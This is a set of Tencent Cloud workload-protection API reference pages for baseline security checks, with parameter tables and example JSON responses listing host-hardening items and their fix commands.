```


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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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DescribeBaselineItemDetectList

Last updated：2024-12-06 15:40:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of baseline detection items.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineItemDetectList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• HostId - string - required: no - host ID • RuleId - int64 - required: no - rule ID • PolicyId - int64 - required: no - policy ID • ItemName - string - required: no - item name • DetectStatus - int - required: no - detection status • Level - int - required: no - risk level • StartTime - string - required: no - start time • EndTime - string - required: no - end time
Limit	No	Integer	Limit Entries, 10 by default, up to 100

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Offset	No	Integer	Offset, which is 0 by default.
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]
By	No	String	Sorting column: [HostCount|FirstTime|LastTime]

3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number
List	Array of BaselineItemDetect	None
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Baseline Check Item List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBaselineItemDetectList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"List": [
{
```

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```
"ItemId": 2162,
"ItemName": "Ensure that permissions on /etc/shadow are set",
"ItemDesc": "The /etc/shadow file is used to store information about user account
s, which is crucial for the security of these accounts, such as hashed passwords
and other security information.",
"FixMethod": "Run the following command to set permissions on /etc/shadow:\n# cho
wn root:root /etc/shadow# chmod 000 /etc/shadow\n",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
"HostCount": 1,
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
},
{
"ItemId": 2163,
"ItemName": "Ensure that the rsync service is not enabled",
"ItemDesc": "The rsyncd service can be used to synchronize files between systems
over network links.",
"FixMethod": "Run the following command to disable rsync:\n #systemctl disable rs
yncd \n",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
"HostCount": 1,
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
},
{
"ItemId": 2164,
"ItemName": "Ensure that the noexec option is set on the /var/tmp partition",
"ItemDesc": "The noexec mounting option specifies that the file system cannot con
tain executable binary files.",
"FixMethod": "Edit the /etc/fstab file and add noexec to the fourth field of the
/var/tmp partition.\nRun the following command to remount /var/tmp:\n# mount -o r
emount,noexec /var/tmp\n",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
"HostCount": 1,
```


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```
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
},
{
"ItemId": 2166,
"ItemName": "Ensure that the HTTP proxy service is not enabled",
"ItemDesc": "Squid is the standard proxy server used in many distributions and en
vironments.",
"FixMethod": "Run the following command to disable Squid:\n #systemctl disable sq
uid \n",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
"HostCount": 1,
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
},
{
"ItemId": 2169,
"ItemName": "Ensure that the noexec option is set on the /tmp partition",
"ItemDesc": "File systems with the noexec mounting option cannot contain executab
le binary files.",
"FixMethod": "Edit /etc/systemd/system/local-fs.target.wants/tmp.mount and add no
exec to /tmp:\n[Mount]Options=mode=1777,strictatime,noexec,nodev,nosuid\nRun the
following command to remount /tmp:\n# mount -o remount,noexec /tmp\n",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
"HostCount": 1,
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
},
{
"ItemId": 2172,
```


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```
"ItemName": "Ensure that the TFTP service is disabled",
"ItemDesc": "Trivial File Transfer Protocol (TFTP) is a simple file transfer prot
ocol typically used for automatic transfer of configuration from a boot server or
computer. The tftp-server package is used for defining and supporting the TFTP se
rver.",
"FixMethod": "Run the following command to disable TFTP:\n# systemctl disable tft
p.socket",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
"HostCount": 1,
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
},
{
"ItemId": 2179,
"ItemName": "Ensure that no residual entry with the character + exists in /etc/sh
adow",
"ItemDesc": "The character + in various files once served as a mark for the syste
m to insert data from NIS maps at a certain point in system configuration files.
Entries with this character are no longer needed on most systems but may exist in
files imported from other platforms.\n",
"FixMethod": "Remove entries with the character + from /etc/shadow",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
"HostCount": 1,
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
},
{
"ItemId": 2181,
"ItemName": "Ensure that Avahi Server is disabled",
"ItemDesc": "Avahi allows programs to publish and discover services and hosts run
ning on a local network without specific configuration.",
"FixMethod": "Run the following command to disable avahi-daemon:\n #systemctl dis
able avahi-daemon \n",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
```


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```
"HostCount": 1,
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
},
{
"ItemId": 2185,
"ItemName": "Ensure that the nodev option is set on the /var/tmp partition",
"ItemDesc": "The nodev mounting option specifies that the file system cannot cont
ain special devices.",
"FixMethod": "Edit the /etc/fstab file and add nodev to the fourth field of the /
var/tmp partition (mounting option).\nRun the following command to remount /var/t
mp:\n# mount -o remount,nodev /var/tmpq\n",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
"HostCount": 1,
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
},
{
"ItemId": 2189,
"ItemName": "Ensure that the HTTP service is disabled",
"ItemDesc": "The HTTP or Web server provides the feature of managing website cont
ent.",
"FixMethod": "Run the following command to disable HTTPd:\n #systemctl disable ht
tpd \n",
"RuleId": 13,
"RuleName": "International standard - CentOS 7 security baseline check level 1",
"HostCount": 1,
"FirstTime": "2022-07-18 13:33:12",
"LastTime": "2022-07-21 21:25:01",
"DetectStatus": 3,
"Level": 2,
"DetectResult": "",
"PassedHostCount": 1,
"NotPassedHostCount": 0
}
],
```


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```
"RequestId": "d93119fb-5ea9-4dc4-8e1a-b878dc62c67c",
"Total": 169
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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DescribeBaselineItemList

Last updated：2024-12-06 15:40:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of check results on baseline check items.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineItemList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• PolicyId - int64 - required: no - policy ID • RuleId - int64 - required: no - rule ID • HostId - string - required: no - host ID • HostName - string - required: no - host name • HostIp - string - required: no - host IP • ItemId - String - required: no - detection item ID • ItemName - String - required: no - item name • DetectStatus - int - required: no - detection status [0: not passed|3: passed|5: detecting] • Level - int - required: no - risk level

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			• StartTime - string - required: no - start time • EndTime - string - required: no - end time
Limit	No	Integer	Limit Entries, 10 by default, up to 100
Offset	No	Integer	Offset, which is 0 by default.
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]
By	No	String	Optional sorting columns

3. Output Parameters

Parameter Name	Type	Description
List	Array of BaselineItem	None
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Detection Item Results

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBaselineItemList
<Common request parameters>

{
"Limit": "1",
"Offset": "1"
}
```

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Output Example


```
{
"Response": {
"List": [
{
"ItemId": 3077,
"ItemName": "Ensure that DNS service is not enabled.",
"CategoryId": 19,
"ItemDesc": "The Domain Name System (DNS) is a hierarchical naming system that ma
ps names to IP addresses to connect computers on the network, services, and other
resources.\n",
"FixMethod": "Run the following command to disable named:\n# systemctl disable bi
nd9.",
"RuleName": "International standard-Ubuntu 16 security baseline check level 1",
"DetectResultDesc": "",
"Level": 2,
"CanBeFixed": 0,
"DetectStatus": 3,
"HostName": "Functional test ubuntu16 vulnerability fix v_txmitan",
"HostIp": "172.23.16.14",
"HostId": "044889f8-d6a2-4fc3-a8a8-c114b6f5266b",
"WanIp": "10.104.9.1",
"LastTime": "2022-08-22 09:48:42",
"FirstTime": "2022-08-06 09:43:07",
"Uuid": "044889f8-d6a2-4fc3-a8a8-c114b6f5266b"
}
],
"RequestId": "3a2b20bc-2e93-46b3-8bb7-b655aa249c00",
"Total": 8412
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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DescribeBaselinePolicyList

Last updated：2024-12-06 15:40:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of baseline policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselinePolicyList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• PolicyName - String - required: no - policy name
Limit	No	Integer	Limit Entries, 10 by default, up to 100
Offset	No	Integer	Offset, which is 0 by default.
Order	No	String	Sorting Method: [ASC: Ascending Order, DESC: Descending Order]
By	No	String	Sorting column: [RuleCount|ItemCount|HostCount]

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3. Output Parameters

Parameter Name	Type	Description
List	Array of BaselinePolicy	None
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Policy List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBaselinePolicyList
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"List": [
{
"PolicyName": "Unauthorized access",
"DetectInterval": 1,
"DetectTime": "17:00:00",
"IsEnabled": 1,
"AssetType": 0,
"RuleIds": [
70,
71,
72,
```


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```
73,
74,
75,
76
],
"HostIds": [],
"HostIps": [],
"PolicyId": 63,
"RuleCount": 7,
"ItemCount": 7,
"HostCount": 8,
"IsDefault": 1
},
{
"PolicyName": "Tencent security standard",
"DetectInterval": 1,
"DetectTime": "17:00:00",
"IsEnabled": 1,
"AssetType": 0,
"RuleIds": [
120,
121,
122,
123,
124,
125
],
"HostIds": [],
"HostIps": [],
"PolicyId": 64,
"RuleCount": 6,
"ItemCount": 35,
"HostCount": 8,
"IsDefault": 1
},
{
"PolicyName": "29sjjsjsdk529ssj1kckdkckjssioe0e9diceivffffjfffjfffi29495888529sjj
sjsdkckdkckjssioe0e9diceivffffjfffjfffi294958885",
"DetectInterval": 1,
"DetectTime": "09:35:30",
"IsEnabled": 1,
"AssetType": 0,
"RuleIds": [
11
],
"HostIds": [],
"HostIps": [
```


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```
""
],
"PolicyId": 136,
"RuleCount": 1,
"ItemCount": 91,
"HostCount": 8,
"IsDefault": 0
},
{
"PolicyName": "CIS baseline",
"DetectInterval": 3,
"DetectTime": "17:00:00",
"IsEnabled": 1,
"AssetType": 0,
"RuleIds": [
11,
12,
13,
14,
15,
16,
17,
18,
19,
20,
21,
22
],
"HostIds": [],
"HostIps": [
""
],
"PolicyId": 59,
"RuleCount": 12,
"ItemCount": 1427,
"HostCount": 8,
"IsDefault": 1
},
{
"PolicyName": "ggg",
"DetectInterval": 3,
"DetectTime": "21:37:30",
"IsEnabled": 1,
"AssetType": 0,
"RuleIds": [
11
],
```


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```
"HostIds": [],
"HostIps": [
""
],
"PolicyId": 171,
"RuleCount": 1,
"ItemCount": 91,
"HostCount": 8,
"IsDefault": 0
},
{
"PolicyName": "Custom",
"DetectInterval": 1,
"DetectTime": "09:35:30",
"IsEnabled": 1,
"AssetType": 0,
"RuleIds": [
35184372088841
],
"HostIds": [],
"HostIps": [
""
],
"PolicyId": 161,
"RuleCount": 1,
"ItemCount": 1,
"HostCount": 8,
"IsDefault": 0
},
{
"PolicyName": "test1",
"DetectInterval": 1,
"DetectTime": "02:00:00",
"IsEnabled": 1,
"AssetType": 0,
"RuleIds": [
11
],
"HostIds": [],
"HostIps": [
""
],
"PolicyId": 268,
"RuleCount": 1,
"ItemCount": 91,
"HostCount": 8,
"IsDefault": 0
```


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```
},
{
"PolicyName": "All",
"DetectInterval": 1,
"DetectTime": "09:35:30",
"IsEnabled": 1,
"AssetType": 0,
"RuleIds": [
11,
12,
13,
14,
15,
16,
17,
18,
19,
20,
21,
22,
23,
24,
25,
26,
27,
28,
29,
30,
31,
32,
33,
34,
50,
51,
52,
53,
54,
55,
56,
57,
58,
70,
71,
72,
73,
74,
75,
```


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```
76,
90,
91,
100,
101,
102,
103,
104,
105,
106,
120,
121,
122,
123,
124,
125,
126,
127,
128,
129,
130,
131,
132,
133,
134,
135,
136,
35184372088833,
35184372088835,
35184372088836,
35184372088841,
35184372088842,
35184372088843,
35184372088844,
35184372088846,
35184372088847,
35184372088848
],
"HostIds": [],
"HostIps": [
""
],
"PolicyId": 168,
"RuleCount": 76,
"ItemCount": 2955,
"HostCount": 8,
"IsDefault": 0
```


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```
},
{
"PolicyName": "Level-3 classified protection of cybersecurity",
"DetectInterval": 1,
"DetectTime": "17:00:00",
"IsEnabled": 1,
"AssetType": 0,
"RuleIds": [
30,
31,
32,
33,
34
],
"HostIds": [],
"HostIps": [],
"PolicyId": 61,
"RuleCount": 5,
"ItemCount": 173,
"HostCount": 8,
"IsDefault": 1
},
{
"PolicyName": "Pro edition host weak password + Ultimate edition",
"DetectInterval": 1,
"DetectTime": "00:00:00",
"IsEnabled": 1,
"AssetType": 1,
"RuleIds": [
50
],
"HostIds": [
"044889f8-d6a2-4fc3-a8a8-c114b6f5266b",
"a0770b41-9697-4a1d-8150-b8fa247b6189",
"cc0e8a25-7169-4b5c-a929-2b4cccbfce10"
],
"HostIps": [
""
],
"PolicyId": 172,
"RuleCount": 1,
"ItemCount": 1,
"HostCount": 3,
"IsDefault": 0
}
],
"RequestId": "5c340825-dbc9-4410-a47f-75eab15769d7",
```


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```
"Total": 19
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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DescribeBaselineWeakPasswordList

Last updated：2024-12-06 15:40:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of baseline weak passwords.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineWeakPasswordList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• WeakPassword - string - required: no - weak password
Limit	No	Integer	Limit Entries, 10 by default, up to 100
Offset	No	Integer	Offset, which is 0 by default.
Order	No	String	Sorting order [ASC: ascending|DESC: descending]
By	No	String	Sorting column [CreateTime|ModifyTime]

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3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number
List	Array of BaselineWeakPassword	None
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Completing Weak Password Configurations

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeBaselineWeakPasswordList
<Common request parameters>

{
"Limit": "10",
"Offset": "10"
}
```

Output Example

```
{
"Response": {
"List": [
{
"PasswordId": 2431,
"WeakPassword": "132",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
},
```

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```
{
"PasswordId": 2432,
"WeakPassword": "133",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
},
{
"PasswordId": 2433,
"WeakPassword": "134",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
},
{
"PasswordId": 2434,
"WeakPassword": "135",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
},
{
"PasswordId": 2435,
"WeakPassword": "136",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
},
{
"PasswordId": 2436,
"WeakPassword": "137",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
},
{
"PasswordId": 2437,
"WeakPassword": "138",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
},
{
"PasswordId": 2438,
"WeakPassword": "139",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
},
{
"PasswordId": 2439,
"WeakPassword": "140",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
```


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```
},
{
"PasswordId": 2440,
"WeakPassword": "141",
"CreateTime": "2022-07-28 21:37:22",
"ModifyTime": "2022-07-28 21:37:22"
}
],
"RequestId": "a5ac3a8f-b4a5-4d0c-a8ef-c24601bffd98",
"Total": 998
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.

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InternalError	Internal error
InvalidParameter	Incorrect parameter.

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DescribeIgnoreHostAndItemConfig

Last updated：2024-12-06 15:40:52

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the information of affected inspection items and hosts ignored with one click.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeIgnoreHostAndItemConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• ItemId - int64 - whether required: no - item ID • RuleId - int64 - whether required: no - rule ID • HostId - string - whether required: no - host ID

3. Output Parameters

Parameter Name	Type	Description

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ItemSet	Array of BaselineItemInfo	Affected detection items Note: This field may return null, indicating that no valid values can be obtained.
HostSet	Array of BaselineHost	Affected hosts Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Configuring All Hosts and Inspection Items

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeIgnoreHostAndItemConfig
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"HostSet": [],
"ItemSet": [],
"RequestId": "8cecce8d-a57b-4209-a09b-8366ff0b5cf5"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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ExportBaselineFixList

Last updated：2024-12-06 15:40:52

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of fixing baselines.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportBaselineFixList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• ItemName - String - required: no - item name
ExportAll	No	Integer	0: Filtered Result Export; 1: Export All

3. Output Parameters

Parameter	Type	Description

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Name		
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting All

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportBaselineFixList
<Common request parameters>

{
"ExportAll": "1"
}
```

Output Example

```
{
"Response": {
"RequestId": "c448f6ff-997e-41a4-b068-da45a467e258"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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ExportBaselineHostDetectList

Last updated：2024-12-06 15:40:51

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the baseline for host detection.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportBaselineHostDetectList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• HostTag - string - whether required: no - host tag • ItemId - int64 - whether required: no - item ID • RuleId - int64 - whether required: no - rule ID • IsPassed - int - whether required: no - whether passed • RiskTier - int - whether required: no - risk level
ExportAll	No	Integer	0: Filtered Result Export; 1: Export All
IsExportDetail	No	Integer	0: show the export interface; 1: export all result events

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3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Results of Baseline Checks on Hosts

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportBaselineHostDetectList
<Common request parameters>

{
"ExportAll": "1"
}
```

Output Example

```
{
"Response": {
"RequestId": "69b009b3-93dd-4d91-93a0-165e9fdb976d"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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ExportBaselineItemDetectList

Last updated：2024-12-06 15:40:51

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export baseline check items.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportBaselineItemDetectList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• HostId - string - required: no - host ID • RuleId - int64 - required: no - rule ID • IsPassed - int - required: no - pass or not • RiskTier - int - required: no - risk level
ExportAll	No	Integer	0: Filtered Result Export; 1: Export All
IsExportDetail	No	Integer	0: show the export interface; 1: export all result events

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3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Detection Item Perspective

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportBaselineItemDetectList
<Common request parameters>

{
"ExportAll": "1"
}
```

Output Example

```
{
"Response": {
"RequestId": "edd85ca1-0428-48d2-9502-84715e701b77"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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StartBaselineDetect

Last updated：2024-12-06 15:40:50

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to perform baseline checks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: StartBaselineDetect.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Param	Yes	BaselineDetectParam	Baseline detection parameter

3. Output Parameters

Parameter Name	Type	Description

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TaskId	Integer	Scan task ID
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Detection Policy

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: StartBaselineDetect
<Common request parameters>

{
"Param": {
"PolicyIds": [
"62"
]
}
}
```

Output Example

```
{
"Response": {
"RequestId": "9c05cdbe-c3f8-4f49-bc86-75a631ef49ec",
"TaskId": 2379
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

